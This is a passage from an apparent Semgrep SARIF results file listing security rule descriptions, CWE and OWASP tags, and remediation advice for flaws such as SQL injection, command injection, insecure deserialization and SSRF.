[https://www.stackhawk.com/blog/golang-sql-injection-guide-examples-and-prevention/](https://www.stackhawk.com/blog/golang-sql-injection-guide-examples-and-prevention/)\n","text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`db.Query(\"SELECT * FROM t WHERE id = ?\", id)`) or a safe library."},"helpUri":"https://semgrep.dev/r/go.lang.security.injection.tainted-sql-string.tainted-sql-string","id":"go.lang.security.injection.tainted-sql-string.tainted-sql-string","name":"go.lang.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`"},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.pg-sqli.pg-sqli)\n - [https://node-postgres.com/features/queries](https://node-postgres.com/features/queries)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`"},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.pg-sqli.pg-sqli","id":"javascript.aws-lambda.security.pg-sqli.pg-sqli","name":"javascript.aws-lambda.security.pg-sqli.pg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.pg-sqli.pg-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `expires` not set. Use it to set expiration date for persistent cookies."},"help":{"markdown":"Default session middleware settings: `expires` not set. Use it to set expiration date for persistent cookies.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-expires)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Default session middleware settings: `expires` not set. Use it to set expiration date for persistent cookies."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-expires","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-expires","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-expires","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-expires"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user controlled content in `run_in_subinterp`. This is dangerous because it allows a malicious actor to run arbitrary Python code."},"help":{"markdown":"Found user controlled content in `run_in_subinterp`. This is dangerous because it allows a malicious actor to run arbitrary Python code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-testcapi-run-in-subinterp.dangerous-testcapi-run-in-subinterp)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user controlled content in `run_in_subinterp`. This is dangerous because it allows a malicious actor to run arbitrary Python code."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-testcapi-run-in-subinterp.dangerous-testcapi-run-in-subinterp","id":"python.lang.security.dangerous-testcapi-run-in-subinterp.dangerous-testcapi-run-in-subinterp","name":"python.lang.security.dangerous-testcapi-run-in-subinterp.dangerous-testcapi-run-in-subinterp","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-testcapi-run-in-subinterp.dangerous-testcapi-run-in-subinterp"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-secure-missing.flask-cookie-secure-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-secure-missing.flask-cookie-secure-missing","id":"python.flask.web.flask-cookie-secure-missing.flask-cookie-secure-missing","name":"python.flask.web.flask-cookie-secure-missing.flask-cookie-secure-missing","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-secure-missing.flask-cookie-secure-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://x-stream.github.io/security.html](https://x-stream.github.io/security.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`."},"helpUri":"https://semgrep.dev/r/java.spring.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","id":"java.spring.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","name":"java.spring.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected 'create_subprocess_exec' function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"help":{"markdown":"Detected 'create_subprocess_exec' function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-create-exec.dangerous-asyncio-create-exec)\n - [https://docs.python.org/3/library/asyncio-subprocess.html#asyncio.create_subprocess_exec](https://docs.python.org/3/library/asyncio-subprocess.html#asyncio.create_subprocess_exec)\n - [https://docs.python.org/3/library/shlex.html](https://docs.python.org/3/library/shlex.html)\n","text":"Detected 'create_subprocess_exec' function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-create-exec.dangerous-asyncio-create-exec","id":"python.aws-lambda.security.dangerous-asyncio-create-exec.dangerous-asyncio-create-exec","name":"python.aws-lambda.security.dangerous-asyncio-create-exec.dangerous-asyncio-create-exec","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-asyncio-create-exec.dangerous-asyncio-create-exec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-pycurl.tainted-django-http-request-pycurl)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-pycurl.tainted-django-http-request-pycurl","id":"python.django.net.tainted-django-http-request-pycurl.tainted-django-http-request-pycurl","name":"python.django.net.tainted-django-http-request-pycurl.tainted-django-http-request-pycurl","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-pycurl.tainted-django-http-request-pycurl"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.command-injection.process-taint-grpc.process-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.command-injection.process-taint-grpc.process-taint-grpc","id":"csharp.dotnet-core.command-injection.process-taint-grpc.process-taint-grpc","name":"csharp.dotnet-core.command-injection.process-taint-grpc.process-taint-grpc","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.command-injection.process-taint-grpc.process-taint-grpc"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-raw-sql-injection.laravel-raw-sql-injection)\n - [https://laravel.com/docs/9.x/queries](https://laravel.com/docs/9.x/queries)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-raw-sql-injection.laravel-raw-sql-injection","id":"php.laravel.security.laravel-raw-sql-injection.laravel-raw-sql-injection","name":"php.laravel.security.laravel-raw-sql-injection.laravel-raw-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-raw-sql-injection.laravel-raw-sql-injection"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Visualforce Pages must have the cspHeader attribute set to true. This attribute is available in API version 55 or higher."},"help":{"markdown":"Visualforce Pages must have the cspHeader attribute set to true. This attribute is available in API version 55 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.visualforce.security.ncino.xml.cspheaderattribute.csp-header-attribute)\n - [https://help.salesforce.com/s/articleView?id=sf.csp_trusted_sites.htm&type=5](https://help.salesforce.com/s/articleView?id=sf.csp_trusted_sites.htm&type=5)\n","text":"Visualforce Pages must have the cspHeader attribute set to true. This attribute is available in API version 55 or higher."},"helpUri":"https://semgrep.dev/r/generic.visualforce.security.ncino.xml.cspheaderattribute.csp-header-attribute","id":"generic.visualforce.security.ncino.xml.cspheaderattribute.csp-header-attribute","name":"generic.visualforce.security.ncino.xml.cspheaderattribute.csp-header-attribute","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: generic.visualforce.security.ncino.xml.cspheaderattribute.csp-header-attribute"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-column-sql-injection.laravel-column-sql-injection)\n - [https://laravel.com/docs/9.x/queries](https://laravel.com/docs/9.x/queries)\n - [https://laravel.com/api/6.x/Illuminate/Database/Query/Builder.html](https://laravel.com/api/6.x/Illuminate/Database/Query/Builder.html)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#column-name-sql-injection](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#column-name-sql-injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-column-sql-injection.laravel-column-sql-injection","id":"php.laravel.security.laravel-column-sql-injection.laravel-column-sql-injection","name":"php.laravel.security.laravel-column-sql-injection.laravel-column-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-column-sql-injection.laravel-column-sql-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.objectinputstream-deserialization-servlets.objectinputstream-deserialization-servlets)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"helpUri":"https://semgrep.dev/r/java.servlets.security.objectinputstream-deserialization-servlets.objectinputstream-deserialization-servlets","id":"java.servlets.security.objectinputstream-deserialization-servlets.objectinputstream-deserialization-servlets","name":"java.servlets.security.objectinputstream-deserialization-servlets.objectinputstream-deserialization-servlets","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.objectinputstream-deserialization-servlets.objectinputstream-deserialization-servlets"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Use of $window.location.href can lead to open-redirect if user input is used for redirection."},"help":{"markdown":"Use of $window.location.href can lead to open-redirect if user input is used for redirection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-open-redirect.detect-angular-open-redirect)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsJs](https://docs.angularjs.org/api/ng/service/$sce#trustAsJs)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"Use of $window.location.href can lead to open-redirect if user input is used for redirection."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-open-redirect.detect-angular-open-redirect","id":"javascript.angular.security.detect-angular-open-redirect.detect-angular-open-redirect","name":"javascript.angular.security.detect-angular-open-redirect.detect-angular-open-redirect","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-open-redirect.detect-angular-open-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.hibernate-sqli.hibernate-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.hibernate-sqli.hibernate-sqli","id":"java.spring.security.hibernate-sqli.hibernate-sqli","name":"java.spring.security.hibernate-sqli.hibernate-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.hibernate-sqli.hibernate-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-shelve-pyramid.tainted-shelve-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://docs.python.org/3/library/shelve.html](https://docs.python.org/3/library/shelve.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to 